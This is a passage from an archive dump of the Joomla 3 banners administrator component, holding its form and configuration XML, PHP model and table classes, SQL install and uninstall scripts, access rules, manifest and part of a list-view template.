			<option value="">COM_BANNERS_SELECT_TYPE</option>
			<option value="1">COM_BANNERS_FIELD_VALUE_UNLIMITED</option>
			<option value="2">COM_BANNERS_FIELD_VALUE_YEARLY</option>
			<option value="3">COM_BANNERS_FIELD_VALUE_MONTHLY</option>
			<option value="4">COM_BANNERS_FIELD_VALUE_WEEKLY</option>
			<option value="5">COM_BANNERS_FIELD_VALUE_DAILY</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.name ASC">COM_BANNERS_HEADING_CLIENT_ASC</option>
			<option value="a.name DESC">COM_BANNERS_HEADING_CLIENT_DESC</option>
			<option value="a.contact ASC">COM_BANNERS_HEADING_CONTACT_ASC</option>
			<option value="a.contact DESC">COM_BANNERS_HEADING_CONTACT_DESC</option>
			<option value="a.purchase_type ASC">COM_BANNERS_HEADING_PURCHASETYPE_ASC</option>
			<option value="a.purchase_type DESC">COM_BANNERS_HEADING_PURCHASETYPE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_BANNERS_LIST_LIMIT"
			description="COM_BANNERS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_banners/models/forms/download.xml000060400000001145152455305260014000 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fieldset name="details">

		<field
			name="compressed"
			type="radio"
			label="COM_BANNERS_FIELD_COMPRESSED_LABEL"
			description="COM_BANNERS_FIELD_COMPRESSED_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="basename"
			type="text"
			label="COM_BANNERS_FIELD_BASENAME_LABEL"
			size="40"
		/>

		<field
			name="basename_info"
			type="note"
			description="COM_BANNERS_FIELD_BASENAME_DESC"
			class="alert alert-info"
		/>
	</fieldset>
</form>
com_banners/models/download.php000060400000003574152455305260012651 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Download model.
 *
 * @since  1.5
 */
class BannersModelDownload extends JModelForm
{
	/**
	 * The model context
	 *
	 * @var  string
	 */
	protected $_context = 'com_banners.tracks';

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$input = JFactory::getApplication()->input;

		$this->setState('basename', $input->cookie->getString(JApplicationHelper::getHash($this->_context . '.basename'), '__SITE__'));
		$this->setState('compressed', $input->cookie->getInt(JApplicationHelper::getHash($this->_context . '.compressed'), 1));
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_banners.download', 'download', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$data = (object) array(
			'basename'   => $this->getState('basename'),
			'compressed' => $this->getState('compressed'),
		);

		$this->preprocessData('com_banners.download', $data);

		return $data;
	}
}
com_banners/config.xml000060400000005345152455305260011033 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="component"
		label="COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL"
		description="COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC"
		>

		<field
			name="purchase_type"
			type="list"
			label="COM_BANNERS_FIELD_PURCHASETYPE_LABEL"
			description="COM_BANNERS_FIELD_PURCHASETYPE_DESC"
			id="purchase_type"
			default="1"
			>
			<option value="1">COM_BANNERS_FIELD_VALUE_UNLIMITED</option>
			<option value="2">COM_BANNERS_FIELD_VALUE_YEARLY</option>
			<option value="3">COM_BANNERS_FIELD_VALUE_MONTHLY</option>
			<option value="4">COM_BANNERS_FIELD_VALUE_WEEKLY</option>
			<option value="5">COM_BANNERS_FIELD_VALUE_DAILY</option>
		</field>

		<field
			name="track_impressions"
			type="radio"
			label="COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL"
			description="COM_BANNERS_FIELD_TRACKIMPRESSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="track_robots_impressions"
			type="radio"
			label="COM_BANNERS_FIELD_TRACKROBOTSIMPRESSION_LABEL"
			description="COM_BANNERS_FIELD_TRACKROBOTSIMPRESSION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="track_clicks"
			type="radio"
			label="COM_BANNERS_FIELD_TRACKCLICK_LABEL"
			description="COM_BANNERS_FIELD_TRACKCLICK_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="metakey_prefix"
			type="text"
			label="COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL"
			description="COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC"
			default=""
		/>

	</fieldset>

	<fieldset
		name="banners"
		label="COM_BANNERS_FIELDSET_CONFIG_BANNER_OPTIONS_LABEL"
		description="COM_BANNERS_FIELDSET_CONFIG_BANNER_OPTIONS_DESC"
		>

		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			filter="integer"
			default="10"
			showon="save_history:1"
		/>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_banners"
			section="component"
		/>

	</fieldset>
</config>
com_banners/tables/client.php000060400000006145152455305260012304 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Client table
 *
 * @since  1.6
 */
class BannersTableClient extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database connector object
	 *
	 * @since   1.5
	 */
	public function __construct(&$db)
	{
		$this->checked_out_time = $db->getNullDate();
		parent::__construct('#__banner_clients', 'id', $db);

		$this->setColumnAlias('published', 'state');

		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_banners.client'));
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table.  The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An optional array of primary key values to update.  If not set the instance property value is used.
	 * @param   integer  $state   The publishing state. eg. [0 = unpublished, 1 = published, 2=archived, -2=trashed]
	 * @param   integer  $userId  The user id of the user performing the operation.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0.4
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks    = ArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k . '=' . implode(' OR ' . $k . '=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = ' . (int) $userId . ')';
		}

		// Update the publishing state for rows with the given primary keys.
		$this->_db->setQuery(
			'UPDATE ' . $this->_db->quoteName($this->_tbl)
			. ' SET ' . $this->_db->quoteName('state') . ' = ' . (int) $state
			. ' WHERE (' . $where . ')'
			. $checkin
		);

		try
		{
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
		{
			// Checkin the rows.
			foreach ($pks as $pk)
			{
				$this->checkin($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_banners/tables/banner.php000060400000017607152455305260012300 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Banner table
 *
 * @since  1.5
 */
class BannersTableBanner extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database connector object
	 *
	 * @since   1.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__banners', 'id', $db);

		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_banners.banner'));

		$this->created = JFactory::getDate()->toSql();
		$this->setColumnAlias('published', 'state');
	}

	/**
	 * Increase click count
	 *
	 * @return  void
	 */
	public function clicks()
	{
		$query = 'UPDATE #__banners'
			. ' SET clicks = (clicks + 1)'
			. ' WHERE id = ' . (int) $this->id;

		$this->_db->setQuery($query);
		$this->_db->execute();
	}

	/**
	 * Overloaded check function
	 *
	 * @return  boolean
	 *
	 * @see     JTable::check
	 * @since   1.5
	 */
	public function check()
	{
		// Set name
		$this->name = htmlspecialchars_decode($this->name, ENT_QUOTES);

		// Set alias
		if (trim($this->alias) == '')
		{
			$this->alias = $this->name;
		}

		$this->alias = JApplicationHelper::stringURLSafe($this->alias, $this->language);

		if (trim(str_replace('-', '', $this->alias)) == '')
		{
			$this->alias = JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		// Check the publish down date is not earlier than publish up.
		if ($this->publish_down > $this->_db->getNullDate() && $this->publish_down < $this->publish_up)
		{
			$this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));

			return false;
		}

		// Set ordering
		if ($this->state < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}
		elseif (empty($this->ordering))
		{
			// Set ordering to last if ordering was 0
			$this->ordering = self::getNextOrder($this->_db->quoteName('catid') . '=' . $this->_db->quote($this->catid) . ' AND state>=0');
		}

		if (empty($this->publish_up))
		{
			$this->publish_up = $this->getDbo()->getNullDate();
		}

		if (empty($this->publish_down))
		{
			$this->publish_down = $this->getDbo()->getNullDate();
		}

		if (empty($this->modified))
		{
			$this->modified = $this->getDbo()->getNullDate();
		}

		return true;
	}

	/**
	 * Overloaded bind function
	 *
	 * @param   mixed  $array   An associative array or object to bind to the JTable instance.
	 * @param   mixed  $ignore  An optional array or space separated list of properties to ignore while binding.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function bind($array, $ignore = array())
	{
		if (isset($array['params']) && is_array($array['params']))
		{
			$registry = new Registry($array['params']);

			if ((int) $registry->get('width', 0) < 0)
			{
				$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_WIDTH_LABEL')));

				return false;
			}

			if ((int) $registry->get('height', 0) < 0)
			{
				$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED', JText::_('COM_BANNERS_FIELD_HEIGHT_LABEL')));

				return false;
			}

			// Converts the width and height to an absolute numeric value:
			$width  = abs((int) $registry->get('width', 0));
			$height = abs((int) $registry->get('height', 0));

			// Sets the width and height to an empty string if = 0
			$registry->set('width', $width ?: '');
			$registry->set('height', $height ?: '');

			$array['params'] = (string) $registry;
		}

		if (isset($array['imptotal']))
		{
			$array['imptotal'] = abs((int) $array['imptotal']);
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Method to store a row
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success, false on failure.
	 */
	public function store($updateNulls = false)
	{
		$db = $this->getDbo();

		if (empty($this->id))
		{
			$purchaseType = $this->purchase_type;

			if ($purchaseType < 0 && $this->cid)
			{
				/** @var BannersTableClient $client */
				$client = JTable::getInstance('Client', 'BannersTable', array('dbo' => $db));
				$client->load($this->cid);
				$purchaseType = $client->purchase_type;
			}

			if ($purchaseType < 0)
			{
				$purchaseType = JComponentHelper::getParams('com_banners')->get('purchase_type');
			}

			switch ($purchaseType)
			{
				case 1:
					$this->reset = $this->_db->getNullDate();
					break;
				case 2:
					$date = JFactory::getDate('+1 year ' . date('Y-m-d'));
					$this->reset = $date->toSql();
					break;
				case 3:
					$date = JFactory::getDate('+1 month ' . date('Y-m-d'));
					$this->reset = $date->toSql();
					break;
				case 4:
					$date = JFactory::getDate('+7 day ' . date('Y-m-d'));
					$this->reset = $date->toSql();
					break;
				case 5:
					$date = JFactory::getDate('+1 day ' . date('Y-m-d'));
					$this->reset = $date->toSql();
					break;
			}

			// Store the row
			parent::store($updateNulls);
		}
		else
		{
			// Get the old row
			/** @var BannersTableBanner $oldrow */
			$oldrow = JTable::getInstance('Banner', 'BannersTable', array('dbo' => $db));

			if (!$oldrow->load($this->id) && $oldrow->getError())
			{
				$this->setError($oldrow->getError());
			}

			// Verify that the alias is unique
			/** @var BannersTableBanner $table */
			$table = JTable::getInstance('Banner', 'BannersTable', array('dbo' => $db));

			if ($table->load(array('alias' => $this->alias, 'catid' => $this->catid)) && ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_BANNERS_ERROR_UNIQUE_ALIAS'));

				return false;
			}

			// Store the new row
			parent::store($updateNulls);

			// Need to reorder ?
			if ($oldrow->state >= 0 && ($this->state < 0 || $oldrow->catid != $this->catid))
			{
				// Reorder the oldrow
				$this->reorder($this->_db->quoteName('catid') . '=' . $this->_db->quote($oldrow->catid) . ' AND state>=0');
			}
		}

		return count($this->getErrors()) == 0;
	}

	/**
	 * Method to set the sticky state for a row or list of rows in the database
	 * table.  The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An optional array of primary key values to update.  If not set the instance property value is used.
	 * @param   integer  $state   The sticky state. eg. [0 = unsticked, 1 = sticked]
	 * @param   integer  $userId  The user id of the user performing the operation.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function stick($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks    = ArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state  = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Get an instance of the table
		/** @var BannersTableBanner $table */
		$table = JTable::getInstance('Banner', 'BannersTable');

		// For all keys
		foreach ($pks as $pk)
		{
			// Load the banner
			if (!$table->load($pk))
			{
				$this->setError($table->getError());
			}

			// Verify checkout
			if ($table->checked_out == 0 || $table->checked_out == $userId)
			{
				// Change the state
				$table->sticky = $state;
				$table->checked_out = 0;
				$table->checked_out_time = $this->_db->getNullDate();

				// Check the row
				$table->check();

				// Store the row
				if (!$table->store())
				{
					$this->setError($table->getError());
				}
			}
		}

		return count($this->getErrors()) == 0;
	}
}
com_banners/sql/uninstall.mysql.utf8.sql000060400000000171152455305260014416 0ustar00DROP TABLE IF EXISTS `#__banners`;

DROP TABLE IF EXISTS `#__banner_clients`;

DROP TABLE IF EXISTS `#__banner_tracks`;

com_banners/sql/install.mysql.utf8.sql000060400000006472152455305260014065 0ustar00--
-- Table structure for table `#__banners`
--

CREATE TABLE IF NOT EXISTS `#__banners` (
  `id` int NOT NULL AUTO_INCREMENT,
  `cid` int NOT NULL DEFAULT 0,
  `type` int NOT NULL DEFAULT 0,
  `name` varchar(255) NOT NULL DEFAULT '',
  `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '',
  `imptotal` int NOT NULL DEFAULT 0,
  `impmade` int NOT NULL DEFAULT 0,
  `clicks` int NOT NULL DEFAULT 0,
  `clickurl` varchar(200) NOT NULL DEFAULT '',
  `state` tinyint NOT NULL DEFAULT 0,
  `catid` int unsigned NOT NULL DEFAULT 0,
  `description` text NOT NULL,
  `custombannercode` varchar(2048) NOT NULL,
  `sticky` tinyint unsigned NOT NULL DEFAULT 0,
  `ordering` int NOT NULL DEFAULT 0,
  `metakey` text NOT NULL,
  `params` text NOT NULL,
  `own_prefix` tinyint NOT NULL DEFAULT 0,
  `metakey_prefix` varchar(400) NOT NULL DEFAULT '',
  `purchase_type` tinyint NOT NULL DEFAULT -1,
  `track_clicks` tinyint NOT NULL DEFAULT -1,
  `track_impressions` tinyint NOT NULL DEFAULT -1,
  `checked_out` int unsigned NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `reset` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `language` char(7) NOT NULL DEFAULT '',
  `created_by` int unsigned NOT NULL DEFAULT 0,
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT 0,
  `version` int unsigned NOT NULL DEFAULT 1,
  PRIMARY KEY (`id`),
  KEY `idx_state` (`state`),
  KEY `idx_own_prefix` (`own_prefix`),
  KEY `idx_metakey_prefix` (`metakey_prefix`(100)),
  KEY `idx_banner_catid` (`catid`),
  KEY `idx_language` (`language`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

--
-- Table structure for table `#__banner_clients`
--

CREATE TABLE IF NOT EXISTS `#__banner_clients` (
  `id` int NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL DEFAULT '',
  `contact` varchar(255) NOT NULL DEFAULT '',
  `email` varchar(255) NOT NULL DEFAULT '',
  `extrainfo` text NOT NULL,
  `state` tinyint NOT NULL DEFAULT 0,
  `checked_out` int unsigned NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `metakey` text NOT NULL,
  `own_prefix` tinyint NOT NULL DEFAULT 0,
  `metakey_prefix` varchar(400) NOT NULL DEFAULT '',
  `purchase_type` tinyint NOT NULL DEFAULT -1,
  `track_clicks` tinyint NOT NULL DEFAULT -1,
  `track_impressions` tinyint NOT NULL DEFAULT -1,
  PRIMARY KEY (`id`),
  KEY `idx_own_prefix` (`own_prefix`),
  KEY `idx_metakey_prefix` (`metakey_prefix`(100))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

--
-- Table structure for table `#__banner_tracks`
--

CREATE TABLE IF NOT EXISTS `#__banner_tracks` (
  `track_date` datetime NOT NULL,
  `track_type` int unsigned NOT NULL,
  `banner_id` int unsigned NOT NULL,
  `count` int unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`track_date`,`track_type`,`banner_id`),
  KEY `idx_track_date` (`track_date`),
  KEY `idx_track_type` (`track_type`),
  KEY `idx_banner_id` (`banner_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_banners/access.xml000060400000002575152455305260011031 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_banners">
	<section name="component">
		<action
			name="core.admin"
			description="JACTION_ADMIN_COMPONENT_DESC"
			title="JACTION_ADMIN"
		/>

		<action
			name="core.options"
			description="JACTION_OPTIONS_COMPONENT_DESC"
			title="JACTION_OPTIONS"
		/>

		<action
			name="core.manage"
			description="JACTION_MANAGE_COMPONENT_DESC"
			title="JACTION_MANAGE"
		/>

		<action
			name="core.create"
			description="JACTION_CREATE_COMPONENT_DESC"
			title="JACTION_CREATE"
		/>

		<action
			name="core.delete"
			description="JACTION_DELETE_COMPONENT_DESC"
			title="JACTION_DELETE"
		/>

		<action
			name="core.edit"
			description="JACTION_EDIT_COMPONENT_DESC"
			title="JACTION_EDIT"
		/>

		<action
			name="core.edit.state"
			description="JACTION_EDITSTATE_COMPONENT_DESC"
			title="JACTION_EDITSTATE"
		/>

	</section>
	<section name="category">
		<action
			name="core.create"
			description="COM_CATEGORIES_ACCESS_CREATE_DESC"
			title="JACTION_CREATE"
		/>

		<action
			name="core.delete"
			description="COM_CATEGORIES_ACCESS_DELETE_DESC"
			title="JACTION_DELETE"
		/>

		<action
			name="core.edit"
			description="COM_CATEGORIES_ACCESS_EDIT_DESC"
			title="JACTION_EDIT"
		/>

		<action
			name="core.edit.state"
			description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC"
			title="JACTION_EDITSTATE"
		/>
	</section>
</access>
com_banners/banners.xml000060400000004563152455305270011220 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_banners</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_BANNERS_XML_DESCRIPTION</description>

	<install> <!-- Runs on install -->
		<sql>
			<file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>
	<uninstall> <!-- Runs on uninstall -->
		<sql>
			<file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>

	<files folder="site">
		<filename>banners.php</filename>
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<folder>helpers</folder>
		<folder>models</folder>
	</files>
	<administration>
		<menu img="class:banners">com_banners</menu>
		<submenu>
			<!--
				Note that all & must be escaped to &amp; for the file to be valid
				XML and be parsed by the installer
			-->
			<menu
				link="option=com_banners"
				view="banners"
				img="class:banners"
				alt="Banners/Banners"
				>
				com_banners_banners
			</menu>
			<menu
				link="option=com_categories&amp;extension=com_banners"
				view="categories"
				img="class:banners-cat"
				alt="Banners/Categories"
				>
				com_banners_categories
			</menu>
			<menu
				link="option=com_banners&amp;view=clients"
				view="clients"
				img="class:banners-clients"
				alt="Banners/Clients"
				>
				com_banners_clients
			</menu>
			<menu
				link="option=com_banners&amp;view=tracks"
				view="tracks"
				img="class:banners-tracks"
				alt="Banners/Tracks"
				>
				com_banners_tracks
			</menu>
		</submenu>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>banners.php</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_banners.ini</language>
			<language tag="en-GB">language/en-GB.com_banners.sys.ini</language>
		</languages>
	</administration>
</extension>
com_banners/views/banners/tmpl/default_batch_footer.php000060400000001302152455305270017447 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-client-id').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('banner.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_banners/views/banners/tmpl/default_batch_body.php000060400000001551152455305270017114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$published = $this->state->get('filter.published');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('banner.clients'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.item', 'com_banners'); ?>
				</div>
			</div>
		<?php endif; ?>
	</div>
</div>
com_banners/views/banners/tmpl/default.php000060400000017606152455305270014746 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_banners&task=banners.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'articleList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_banners&view=banners'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="articleList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_STICKY', 'a.sticky', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'client_name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_IMPRESSIONS', 'impmade', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_CLICKS', 'clicks', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="13">
